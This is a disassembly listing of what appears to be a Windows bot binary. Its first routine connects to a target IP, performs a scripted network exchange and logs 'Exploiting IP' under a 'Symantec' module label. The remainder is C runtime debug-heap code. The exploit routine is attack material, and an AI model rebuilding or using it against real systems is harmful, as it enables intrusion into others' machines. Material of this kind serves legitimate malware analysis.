mov [ebp+var_16], ax mov ax, word_4529D8 push esi push 1 push 2 mov [ebp+var_18], ax xor edi, edi call dword_4E42A0 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_41C7F3 push eax call dword_4E42B8 ; closesocket loc_41C7F3: ; CODE XREF: sub_41C76A+80j lea eax, [ebp+arg_4] mov [ebp+var_48], 2 push eax call dword_4E4260 ; inet_addr push [ebp+arg_A0] mov [ebp+var_44], eax call dword_4E4220 ; htons mov [ebp+var_46], ax lea eax, [ebp+var_48] push 10h push eax push ebx call dword_4E41C8 ; connect test eax, eax jnz loc_41C8EF loc_41C82B: ; CODE XREF: sub_41C76A+133j ; sub_41C76A+16Aj push 40h ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+Dst] push esi push 40h push eax push ebx call dword_4E4238 ; recv cmp eax, esi jle loc_41C8FD cmp eax, 0FFFFFFFFh jz loc_41C8FD mov eax, edi sub eax, esi jz short loc_41C89F dec eax jz short loc_41C86D dec eax jz short loc_41C8D9 jmp short loc_41C8CF ; --------------------------------------------------------------------------- loc_41C86D: ; CODE XREF: sub_41C76A+FCj lea eax, [ebp+Str2] push eax ; Str2 lea eax, [ebp+Dst] push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_41C8EF lea eax, [ebp+Str] push esi push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Str] push eax push ebx call dword_4E4270 ; send push 2 pop edi jmp short loc_41C82B ; --------------------------------------------------------------------------- loc_41C89F: ; CODE XREF: sub_41C76A+F9j lea eax, [ebp+var_38] push eax ; Str2 lea eax, [ebp+Dst] push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_41C8EF lea eax, [ebp+var_38] push esi push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_38] push eax push ebx call dword_4E4270 ; send push 1 pop edi loc_41C8CF: ; CODE XREF: sub_41C76A+101j cmp edi, 3 jz short loc_41C8FD jmp loc_41C82B ; --------------------------------------------------------------------------- loc_41C8D9: ; CODE XREF: sub_41C76A+FFj lea eax, [ebp+var_28] push eax ; Str2 lea eax, [ebp+Dst] push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_41C8FD loc_41C8EF: ; CODE XREF: sub_41C76A+BBj ; sub_41C76A+117j ... push ebx call dword_4E42B8 ; closesocket xor eax, eax jmp loc_41CA86 ; --------------------------------------------------------------------------- loc_41C8FD: ; CODE XREF: sub_41C76A+E6j ; sub_41C76A+EFj ... push esi lea eax, [ebp+var_16] push 1 push eax push ebx call dword_4E4270 ; send lea eax, [ebp+var_10] push 1 ; int push eax ; Str push ebx ; int call sub_41C624 mov esi, ds:dword_4F6380 add esp, 0Ch mov edi, 3E8h push edi call esi ; Sleep lea eax, [ebp+var_18] push 0 ; int push eax ; Str push ebx ; int call sub_41C624 add esp, 0Ch push edi call esi ; Sleep lea eax, [ebp+var_10] push 2 ; int push eax ; Str push ebx ; int call sub_41C624 add esp, 0Ch push edi call esi ; Sleep and [ebp+var_4], 0 mov edi, offset byte_4F4644 push edi ; Str call _strlen test eax, eax pop ecx jbe short loc_41C99D loc_41C960: ; CODE XREF: sub_41C76A+231j mov eax, [ebp+var_4] movsx eax, byte_4F4644[eax] push eax push offset aC_4 ; "%c" lea eax, [ebp+Dest] push 3 ; Count push eax ; Dest call __snprintf lea eax, [ebp+Dest] push 0 ; int push eax ; Str push ebx ; int call sub_41C624 add esp, 1Ch push 7Dh call esi ; Sleep inc [ebp+var_4] push edi ; Str call _strlen cmp [ebp+var_4], eax pop ecx jb short loc_41C960 loc_41C99D: ; CODE XREF: sub_41C76A+1F4j lea eax, [ebp+var_C] push 0 ; int push eax ; Str push ebx ; int call sub_41C624 add esp, 0Ch push 0FA0h call esi ; Sleep push 2 pop edi loc_41C9B6: ; CODE XREF: sub_41C76A+263j lea eax, [ebp+var_14] push 0 ; int push eax ; Str push ebx ; int call sub_41C624 add esp, 0Ch push 12Ch call esi ; Sleep dec edi jnz short loc_41C9B6 mov edi, 7D0h push edi call esi ; Sleep lea eax, [ebp+var_C] push 0 ; int push eax ; Str push ebx ; int call sub_41C624 add esp, 0Ch push edi call esi ; Sleep xor edi, edi lea eax, [ebp+var_14] push edi ; int push eax ; Str push ebx ; int call sub_41C624 add esp, 0Ch push 190h call esi ; Sleep mov [ebp+var_4], 2 loc_41CA07: ; CODE XREF: sub_41C76A+2B5j push 258h call esi ; Sleep lea eax, [ebp+var_C] push edi ; int push eax ; Str push ebx ; int call sub_41C624 add esp, 0Ch dec [ebp+var_4] jnz short loc_41CA07 push ebx call dword_4E42B8 ; closesocket lea eax, [ebp+arg_4] push eax mov eax, [ebp+arg_A8] shl eax, 6 add eax, offset aSymantec ; "Symantec" push eax push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s." lea eax, [ebp+var_288] push 1FFh ; Count push eax ; Dest call __snprintf push edi ; int lea eax, [ebp+var_288] push [ebp+arg_B0] ; int push eax ; int lea eax, [ebp+arg_14] push eax ; Str push [ebp+arg_0] ; int call sub_409D6C mov eax, [ebp+arg_A8] add esp, 28h shl eax, 6 inc dword_449250[eax] push 1 lea eax, dword_449250[eax] pop eax loc_41CA86: ; CODE XREF: sub_41C76A+18Ej pop edi pop esi pop ebx leave retn sub_41C76A endp ; --------------------------------------------------------------------------- align 10h ; [0000007B BYTES: COLLAPSED FUNCTION _strlen. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000082 BYTES: COLLAPSED FUNCTION _fclose. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000BE BYTES: COLLAPSED FUNCTION __fclose_lk. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000026 BYTES: COLLAPSED FUNCTION _malloc. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000002C BYTES: COLLAPSED FUNCTION __malloc_dbg. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000001B BYTES: COLLAPSED FUNCTION __nh_malloc. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000005D BYTES: COLLAPSED FUNCTION __nh_malloc_dbg. PRESS KEYPAD "+" TO EXPAND] ; [0000000B BYTES: COLLAPSED FUNCTION sub_41CD3D. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; [00000038 BYTES: COLLAPSED CHUNK OF FUNCTION __nh_malloc_dbg. PRESS KEYPAD "+" TO EXPAND] ; [00000017 BYTES: COLLAPSED FUNCTION __heap_alloc. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000313 BYTES: COLLAPSED FUNCTION __heap_alloc_dbg. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000024 BYTES: COLLAPSED FUNCTION _calloc. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000060 BYTES: COLLAPSED FUNCTION __calloc_dbg. PRESS KEYPAD "+" TO EXPAND] ; [00000024 BYTES: COLLAPSED FUNCTION _realloc. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000063 BYTES: COLLAPSED FUNCTION __realloc_dbg. PRESS KEYPAD "+" TO EXPAND] ; [0000000B BYTES: COLLAPSED FUNCTION sub_41D1E3. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; [00000014 BYTES: COLLAPSED CHUNK OF FUNCTION __realloc_dbg. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000511 BYTES: COLLAPSED FUNCTION _realloc_help. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000024 BYTES: COLLAPSED FUNCTION __expand. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000063 BYTES: COLLAPSED FUNCTION __expand_dbg. PRESS KEYPAD "+" TO EXPAND] ; [0000000B BYTES: COLLAPSED FUNCTION sub_41D7C3. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; [00000014 BYTES: COLLAPSED CHUNK OF FUNCTION __expand_dbg. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000013 BYTES: COLLAPSED FUNCTION _free. PRESS KEYPAD "+" TO EXPAND] align 10h push ebp mov ebp, esp push 1 mov eax, [ebp+8] push eax call sub_41D8A0 add esp, 8 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; [00000052 BYTES: COLLAPSED FUNCTION __free_dbg. PRESS KEYPAD "+" TO EXPAND] ; [0000000B BYTES: COLLAPSED FUNCTION sub_41D882. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; [00000011 BYTES: COLLAPSED CHUNK OF FUNCTION __free_dbg. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D8A0 proc near ; CODE XREF: .text:0041D819p ; __free_dbg+3Cp Dst = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, dword_452A00 and eax, 4 test eax, eax jz short loc_41D8E3 loc_41D8B3: ; CODE XREF: sub_41D8A0+41j call sub_41DFF0 test eax, eax jnz short loc_41D8DD push offset a_crtcheckmemor ; "_CrtCheckMemory()" push 0 ; int push 402h ; Value push offset aDbgheap_c ; "dbgheap.c" push 2 ; int call __CrtDbgReport add esp, 14h cmp eax, 1 jnz short loc_41D8DD int 3 ; Trap to Debugger loc_41D8DD: ; CODE XREF: sub_41D8A0+1Aj ; sub_41D8A0+3Aj xor ecx, ecx test ecx, ecx jnz short loc_41D8B3 loc_41D8E3: ; CODE XREF: sub_41D8A0+11j cmp [ebp+arg_0], 0 jnz short loc_41D8EE jmp loc_41DC85 ; --------------------------------------------------------------------------- loc_41D8EE: ; CODE XREF: sub_41D8A0+47j push 0 push 0 push 0 mov edx, [ebp+arg_4] push edx push 0 mov eax, [ebp+arg_0] push eax push 3 call off_452DD0 ; Microsoft VisualC 2-8/net runtime add esp, 1Ch test eax, eax jnz short loc_41D938 loc_41D90D: ; CODE XREF: sub_41D8A0+91j push offset aClientHookFree ; "Client hook free failure.\n" push offset aS_33 ; "%s" push 0 ; int push 0 ; Value push 0 ; int push 0 ; int call __CrtDbgReport add esp, 18h cmp eax, 1 jnz short loc_41D92D int 3 ; Trap to Debugger loc_41D92D: ; CODE XREF: sub_41D8A0+8Aj xor ecx, ecx test ecx, ecx jnz short loc_41D90D jmp loc_41DC85 ; --------------------------------------------------------------------------- loc_41D938: ; CODE XREF: sub_41D8A0+6Bj ; sub_41D8A0+CDj mov edx, [ebp+arg_0] push edx call sub_41E4D0 add esp, 4 test eax, eax jnz short loc_41D969 push offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)" push 0 ; int push 414h ; Value push offset aDbgheap_c ; "dbgheap.c" push 2 ; int call __CrtDbgReport add esp, 14h cmp eax, 1 jnz short loc_41D969 int 3 ; Trap to Debugger loc_41D969: ; CODE XREF: sub_41D8A0+A6j ; sub_41D8A0+C6j xor eax, eax test eax, eax jnz short loc_41D938 mov ecx, [ebp+arg_0] sub ecx, 20h mov [ebp+Dst], ecx loc_41D978: ; CODE XREF: sub_41D8A0+12Fj mov edx, [ebp+Dst] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 4 jz short loc_41D9CB mov ecx, [ebp+Dst] cmp dword ptr [ecx+14h], 1 jz short loc_41D9CB mov edx, [ebp+Dst] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 2 jz short loc_41D9CB mov ecx, [ebp+Dst] cmp dword ptr [ecx+14h], 3 jz short loc_41D9CB push offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)" push 0 ; int push 41Ah ; Value push offset aDbgheap_c ; "dbgheap.c" push 2 ; int call __CrtDbgReport add esp, 14h cmp eax, 1 jnz short loc_41D9CB int 3 ; Trap to Debugger loc_41D9CB: ; CODE XREF: sub_41D8A0+E6j ; sub_41D8A0+EFj ... xor edx, edx test edx, edx jnz short loc_41D978 mov eax, dword_452A00 and eax, 4 test eax, eax jnz loc_41DAA6 push 4 mov cl, byte_452A0C push ecx mov edx, [ebp+Dst] add edx, 1Ch push edx call _CheckBytes add esp, 0Ch test eax, eax jnz short loc_41DA40 loc_41D9FD: ; CODE XREF: sub_41D8A0+19Ej mov eax, [ebp+Dst] add eax, 20h push eax mov ecx, [ebp+Dst] mov edx, [ecx+18h] push edx mov eax, [ebp+Dst] mov ecx, [eax+14h] and ecx, 0FFFFh mov edx, off_452A10[ecx*4] push edx ; char push offset aDamageBeforeHs ; "DAMAGE: before %hs block (#%d) at 0x%08"... push 0 ; int push 0 ; Value push 0 ; int push 1 ; int call __CrtDbgReport add esp, 20h cmp eax, 1 jnz short loc_41DA3A int 3 ; Trap to Debugger loc_41DA3A: ; CODE XREF: sub_41D8A0+197j xor eax, eax test eax, eax jnz short loc_41D9FD loc_41DA40: ; CODE XREF: sub_41D8A0+15Bj push 4 mov cl, byte_452A0C push ecx mov edx, [ebp+Dst] mov eax, [edx+10h] mov ecx, [ebp+Dst] lea edx, [ecx+eax+20h] push edx call _CheckBytes add esp, 0Ch test eax, eax jnz short loc_41DAA6 loc_41DA63: ; CODE XREF: sub_41D8A0+204j mov eax, [ebp+Dst] add eax, 20h push eax mov ecx, [ebp+Dst] mov edx, [ecx+18h] push edx mov eax, [ebp+Dst] mov ecx, [eax+14h] and ecx, 0FFFFh mov edx, off_452A10[ecx*4] push edx ; char push offset aDamageAfterHsB ; "DAMAGE: after %hs block (#%d) at 0x%08X"... push 0 ; int push 0 ; Value push 0 ; int push 1 ; int call __CrtDbgReport add esp, 20h cmp eax, 1 jnz short loc_41DAA0 int 3 ; Trap to Debugger loc_41DAA0: ; CODE XREF: sub_41D8A0+1FDj xor eax, eax test eax, eax jnz short loc_41DA63 loc_41DAA6: ; CODE XREF: sub_41D8A0+13Bj ; sub_41D8A0+1C1j mov ecx, [ebp+Dst] cmp dword ptr [ecx+14h], 3 jnz short loc_41DB1B loc_41DAAF: ; CODE XREF: sub_41D8A0+249j mov edx, [ebp+Dst] cmp dword ptr [edx+0Ch], 0FEDCBABCh jnz short loc_41DAC4 mov eax, [ebp+Dst] cmp dword ptr [eax+18h], 0 jz short loc_41DAE5 loc_41DAC4: ; CODE XREF: sub_41D8A0+219j push offset aPheadNlineIgno ; "pHead->nLine == IGNORE_LINE && pHead->l"... push 0 ; int push 42Fh ; Value push offset aDbgheap_c ; "dbgheap.c" push 2 ; int call __CrtDbgReport add esp, 14h cmp eax, 1 jnz short loc_41DAE5 int 3 ; Trap to Debugger loc_41DAE5: ; CODE XREF: sub_41D8A0+222j ; sub_41D8A0+242j xor ecx, ecx test ecx, ecx jnz short loc_41DAAF mov edx, [ebp+Dst] mov eax, [edx+10h] add eax, 24h push eax ; Size xor ecx, ecx mov cl, byte_452A0D push ecx ; Val mov edx, [ebp+Dst] push edx ; Dst call _memset add esp, 0Ch mov eax, [ebp+Dst] push eax call sub_424AF0 add esp, 4 jmp loc_41DC85 ; --------------------------------------------------------------------------- loc_41DB1B: ; CODE XREF: sub_41D8A0+20Dj mov ecx, [ebp+Dst] cmp dword ptr [ecx+14h], 2 jnz short loc_41DB31 cmp [ebp+arg_4], 1 jnz short loc_41DB31 mov [ebp+arg_4], 2 loc_41DB31: ; CODE XREF: sub_41D8A0+282j ; sub_41D8A0+288j ... mov edx, [ebp+Dst] mov eax, [edx+14h] cmp eax, [ebp+arg_4] jz short loc_41DB5D push offset aPheadNblockuse ; "pHead->nBlockUse == nBlockUse" push 0 ; int push 43Ch ; Value push offset aDbgheap_c ; "dbgheap.c" push 2 ; int call __CrtDbgReport add esp, 14h cmp eax, 1 jnz short loc_41DB5D int 3 ; Trap to Debugger loc_41DB5D: ; CODE XREF: sub_41D8A0+29Aj ; sub_41D8A0+2BAj xor ecx, ecx test ecx, ecx jnz short loc_41DB31 mov edx, [ebp+Dst] mov eax, dword_4F476C sub eax, [edx+10h] mov dword_4F476C, eax mov ecx, dword_452A00 and ecx, 2 test ecx, ecx jnz loc_41DC5C mov edx, [ebp+Dst] cmp dword ptr [edx], 0 jz short loc_41DB9C mov eax, [ebp+Dst] mov ecx, [eax] mov edx, [ebp+Dst] mov eax, [edx+4] mov [ecx+4], eax jmp short loc_41DBDA ; --------------------------------------------------------------------------- loc_41DB9C: ; CODE XREF: sub_41D8A0+2EAj ; sub_41D8A0+32Cj mov ecx, dword_4F4760 cmp ecx, [ebp+Dst] jz short loc_41DBC8 push offset a_plastblockPhe ; "_pLastBlock == pHead" push 0 ; int push 44Bh ; Value push offset aDbgheap_c ; "dbgheap.c" push 2 ; int call __CrtDbgReport add esp, 14h cmp eax, 1 jnz short loc_41DBC8 int 3 ; Trap to Debugger loc_41DBC8: ; CODE XREF: sub_41D8A0+305j ; sub_41D8A0+325j xor edx, edx test edx, edx jnz short loc_41DB9C mov eax, [ebp+Dst] mov ecx, [eax+4] mov dword_4F4760, ecx loc_41DBDA: ; CODE XREF: sub_41D8A0+2FAj mov edx, [ebp+Dst] cmp dword ptr [edx+4], 0 jz short loc_41DBF2 mov eax, [ebp+Dst] mov ecx, [eax+4] mov edx, [ebp+Dst] mov eax, [edx] mov [ecx], eax jmp short loc_41DC2F ; --------------------------------------------------------------------------- loc_41DBF2: ; CODE XREF: sub_41D8A0+341j ; sub_41D8A0+382j mov ecx, dword_4F4768 cmp ecx, [ebp+Dst] jz short loc_41DC1E push offset a_pfirstblockPh ; "_pFirstBlock == pHead" push 0 ; int push 455h ; Value push offset aDbgheap_c ; "dbgheap.c" push 2 ; int call __CrtDbgReport add esp, 14h cmp eax, 1 jnz short loc_41DC1E int 3 ; Trap to Debugger loc_41DC1E: ; CODE XREF: sub_41D8A0+35Bj ; sub_41D8A0+37Bj xor edx, edx test edx, edx jnz short loc_41DBF2 mov eax, [ebp+Dst] mov ecx, [eax] mov dword_4F4768, ecx loc_41DC2F: ; CODE XREF: sub_41D8A0+350j mov edx, [ebp+Dst] mov eax, [edx+10h] add eax, 24h push eax ; Size xor ecx, ecx mov cl, byte_452A0D push ecx ; Val mov edx, [ebp+Dst] push edx ; Dst call _memset add esp, 0Ch mov eax, [ebp+Dst] push eax call sub_424AF0 add esp, 4 jmp short loc_41DC85 ; --------------------------------------------------------------------------- loc_41DC5C: ; CODE XREF: sub_41D8A0+2DEj mov ecx, [ebp+Dst] mov dword ptr [ecx+14h], 0 mov edx, [ebp+Dst] mov eax, [edx+10h] push eax ; Size xor ecx, ecx mov cl, byte_452A0D push ecx ; Val mov edx, [ebp+Dst] add edx, 20h push edx ; Dst call _memset add esp, 0Ch loc_41DC85: ; CODE XREF: sub_41D8A0+49j ; sub_41D8A0+93j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41D8A0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 1 mov eax, [ebp+8] push eax call sub_41DCB0 add esp, 8 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DCB0 proc near ; CODE XREF: .text:0041DC99p ; __onexit+11p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 0041DE2C SIZE 00000014 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43D920 push offset unknown_libname_3 ; Microsoft VisualC 2-8/net runtime mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFF0h push ebx push esi push edi ; char mov eax, dword_452A00 and eax, 4 test eax, eax jz short loc_41DD0F loc_41DCDF: ; CODE XREF: sub_41DCB0+5Dj call sub_41DFF0 test eax, eax jnz short loc_41DD09 push offset a_crtcheckmemor ; "_CrtCheckMemory()" push 0 ; int push 49Dh ; Value push offset aDbgheap_c ; "dbgheap.c" push 2 ; int call __CrtDbgReport add esp, 14h cmp eax, 1 jnz short loc_41DD09 int 3 ; Trap to Debugger loc_41DD09: ; CODE XREF: sub_41DCB0+36j ; sub_41DCB0+56j xor ecx, ecx test ecx, ecx jnz short loc_41DCDF loc_41DD0F: ; CODE XREF: sub_41DCB0+2Dj push 9 call __lock add esp, 4 mov [ebp+var_4], 0 loc_41DD20: ; CODE XREF: sub_41DCB0+A5j mov edx, [ebp+arg_0] push edx call sub_41E4D0 add esp, 4 test eax, eax jnz short loc_41DD51 push offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)" push 0 ; int push 4A9h ; Value push offset aDbgheap_c ; "dbgheap.c" push 2 ; int call __CrtDbgReport add esp, 14h cmp eax, 1 jnz short loc_41DD51 int 3 ; Trap to Debugger loc_41DD51: ; CODE XREF: sub_41DCB0+7Ej ; sub_41DCB0+9Ej xor eax, eax test eax, eax jnz short loc_41DD20 mov ecx, [ebp+arg_0] sub ecx, 20h mov [ebp+var_20], ecx loc_41DD60: ; CODE XREF: sub_41DCB0+107j mov edx, [ebp+var_20] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 4 jz short loc_41DDB3 mov ecx, [ebp+var_20] cmp dword ptr [ecx+14h], 1 jz short loc_41DDB3 mov edx, [ebp+var_20] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 2 jz short loc_41DDB3 mov ecx, [ebp+var_20] cmp dword ptr [ecx+14h], 3 jz short loc_41DDB3 push offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)" push 0 ; int push 4AFh ; Value push offset aDbgheap_c ; "dbgheap.c" push 2 ; int call __CrtDbgReport add esp, 14h cmp eax, 1 jnz short loc_41DDB3 int 3 ; Trap to Debugger loc_41DDB3: ; CODE XREF: sub_41DCB0+BEj ; sub_41DCB0+C7j ... xor edx, edx test edx, edx jnz short loc_41DD60 mov eax, [ebp+var_20] cmp dword ptr [eax+14h], 2 jnz short loc_41DDCF cmp [ebp+arg_4], 1 jnz short loc_41DDCF mov [ebp+arg_4], 2 loc_41DDCF: ; CODE XREF: sub_41DCB0+110j ; sub_41DCB0+116j mov ecx, [ebp+var_20] cmp dword ptr [ecx+14h], 3 jz short loc_41DE0A loc_41DDD8: ; CODE XREF: sub_41DCB0+158j mov edx, [ebp+var_20] mov eax, [edx+14h] cmp eax, [ebp+arg_4] jz short loc_41DE04 push offset aPheadNblockuse ; "pHead->nBlockUse == nBlockUse" push 0 ; int push 4B6h ; Value push offset aDbgheap_c ; "dbgheap.c" push 2 ; int call __CrtDbgReport add esp, 14h cmp eax, 1 jnz short loc_41DE04 int 3 ; Trap to Debugger loc_41DE04: ; CODE XREF: sub_41DCB0+131j ; sub_41DCB0+151j xor ecx, ecx test ecx, ecx jnz short loc_41DDD8 loc_41DE0A: ; CODE XREF: sub_41DCB0+126j mov edx, [ebp+var_20] mov eax, [edx+10h] mov [ebp+var_1C], eax mov [ebp+var_4], 0FFFFFFFFh call sub_41DE21 jmp short loc_41DE2C sub_41DCB0 endp ; =============== S U B R O U T I N E ======================================= sub_41DE21 proc near ; CODE XREF: sub_41DCB0+16Ap ; DATA XREF: .rdata:0043D928o push 9 call __unlock add esp, 4 retn sub_41DE21 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41DCB0 loc_41DE2C: ; CODE XREF: sub_41DCB0+16Fj mov eax, [ebp+var_1C] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_41DCB0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx mov eax, dword_452A08 mov [ebp-4], eax mov ecx, [ebp+8] mov dword_452A08, ecx mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; [000000BD BYTES: COLLAPSED FUNCTION __CrtSetDbgBlockType. PRESS KEYPAD "+" TO EXPAND] ; [0000000B BYTES: COLLAPSED FUNCTION sub_41DF1D. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; [00000011 BYTES: COLLAPSED CHUNK OF FUNCTION __CrtSetDbgBlockType. PRESS KEYPAD "+" TO EXPAND] align 10h push ebp mov ebp, esp push ecx mov eax, off_452DD0 mov [ebp-4], eax mov ecx, [ebp+8] mov off_452DD0, ecx mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; [00000088 BYTES: COLLAPSED FUNCTION _CheckBytes. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DFF0 proc near ; CODE XREF: __heap_alloc_dbg:loc_41CDBCp ; _realloc_help:loc_41D272p ... var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0041E370 SIZE 00000014 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43DAB8 push offset unknown_libname_3 ; Microsoft VisualC 2-8/net runtime mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFE0h push ebx push esi push edi mov eax, dword_452A00 and eax, 1 test eax, eax jnz short loc_41E029 mov eax, 1 jmp loc_41E373 ; --------------------------------------------------------------------------- loc_41E029: ; CODE XREF: sub_41DFF0+2Dj push 9 call __lock add esp, 4 mov [ebp+var_4], 0 call unknown_libname_6 ; Microsoft VisualC 2-8/net runtime mov [ebp+var_24], eax cmp [ebp+var_24], 0FFFFFFFFh jz loc_41E14E cmp [ebp+var_24], 0FFFFFFFEh jz loc_41E14E mov ecx, [ebp+var_24] mov [ebp+var_30], ecx mov edx, [ebp+var_30] add edx, 6 mov [ebp+var_30], edx cmp [ebp+var_30], 3 ja loc_41E11C mov eax, [ebp+var_30] jmp ds:off_41E384[eax*4] loc_41E079: ; CODE XREF: sub_41DFF0+ADj ; DATA XREF: .text:0041E390o push offset a_heapchkFailsW ; "_heapchk fails with _HEAPBADBEGIN.\n" push offset aS_33 ; "%s" push 0 ; int push 0 ; Value push 0 ; int push 0 ; int call __CrtDbgReport add esp, 18h cmp eax, 1 jnz short loc_41E099 int 3 ; Trap to Debugger loc_41E099: ; CODE XREF: sub_41DFF0+A6j xor ecx, ecx test ecx, ecx jnz short loc_41E079 jmp loc_41E142 ; --------------------------------------------------------------------------- loc_41E0A4: ; CODE XREF: sub_41DFF0+82j ; sub_41DFF0+D8j ; DATA XREF: ... push offset a_heapchkFail_0 ; "_heapchk fails with _HEAPBADNODE.\n" push offset aS_33 ; "%s" push 0 ; int push 0 ; Value push 0 ; int push 0 ; int call __CrtDbgReport add esp, 18h cmp eax, 1 jnz short loc_41E0C4 int 3 ; Trap to Debugger loc_41E0C4: ; CODE XREF: sub_41DFF0+D1j xor edx, edx test edx, edx jnz short loc_41E0A4 jmp short loc_41E142 ; --------------------------------------------------------------------------- loc_41E0CC: ; CODE XREF: sub_41DFF0+82j ; sub_41DFF0+100j ; DATA XREF: ... push offset a_heapchkFail_1 ; "_heapchk fails with _HEAPBADEND.\n" push offset aS_33 ; "%s" push 0 ; int push 0 ; Value push 0 ; int push 0 ; int call __CrtDbgReport add esp, 18h cmp eax, 1 jnz short loc_41E0EC int 3 ; Trap to Debugger loc_41E0EC: ; CODE XREF: sub_41DFF0+F9j xor eax, eax test eax, eax jnz short loc_41E0CC jmp short loc_41E142 ; --------------------------------------------------------------------------- loc_41E0F4: ; CODE XREF: sub_41DFF0+82j ; sub_41DFF0+128j ; DATA XREF: ... push offset a_heapchkFail_2 ; "_heapchk fails with _HEAPBADPTR.\n" push offset aS_33 ; "%s" push 0 ; int push 0 ; Value push 0 ; int push 0 ; int call __CrtDbgReport add esp, 18h cmp eax, 1 jnz short loc_41E114 int 3 ; Trap to Debugger loc_41E114: ; CODE XREF: sub_41DFF0+121j xor ecx, ecx test ecx, ecx jnz short loc_41E0F4 jmp short loc_41E142 ; --------------------------------------------------------------------------- loc_41E11C: ; CODE XREF: sub_41DFF0+79j ; sub_41DFF0+150j push offset a_heapchkFail_3 ; "_heapchk fails with unknown return valu"... push offset aS_33 ; "%s" push 0 ; int push 0 ; Value push 0 ; int push 0 ; int call __CrtDbgReport add esp, 18h cmp eax, 1 jnz short loc_41E13C int 3 ; Trap to Debugger loc_41E13C: ; CODE XREF: sub_41DFF0+149j xor edx, edx test edx, edx jnz short loc_41E11C loc_41E142: ; CODE XREF: sub_41DFF0+AFj ; sub_41DFF0+DAj ... mov [ebp+var_1C], 0 jmp loc_41E357 ; --------------------------------------------------------------------------- loc_41E14E: ; CODE XREF: sub_41DFF0+56j ; sub_41DFF0+60j mov [ebp+var_1C], 1 mov eax, dword_4F4768 mov [ebp+var_20], eax jmp short loc_41E167 ; --------------------------------------------------------------------------- loc_41E15F: ; CODE XREF: sub_41DFF0:loc_41E352j mov ecx, [ebp+var_20] mov edx, [ecx] mov [ebp+var_20], edx loc_41E167: ; CODE XREF: sub_41DFF0+16Dj cmp [ebp+var_20], 0 jz loc_41E357 mov [ebp+var_28], 1 mov eax, [ebp+var_20] mov ecx, [eax+14h] and ecx, 0FFFFh cmp ecx, 4 jz short loc_41E1AC mov edx, [ebp+var_20] cmp dword ptr [edx+14h], 1 jz short loc_41E1AC mov eax, [ebp+var_20] mov ecx, [eax+14h] and ecx, 0FFFFh cmp ecx, 2 jz short loc_41E1AC mov edx, [ebp+var_20] cmp dword ptr [edx+14h], 3 jnz short loc_41E1C4 loc_41E1AC: ; CODE XREF: sub_41DFF0+197j ; sub_41DFF0+1A0j ... mov eax, [ebp+var_20] mov ecx, [eax+14h] and ecx, 0FFFFh mov edx, off_452A10[ecx*4] mov dword ptr [ebp+var_2C], edx jmp short loc_41E1CB ; 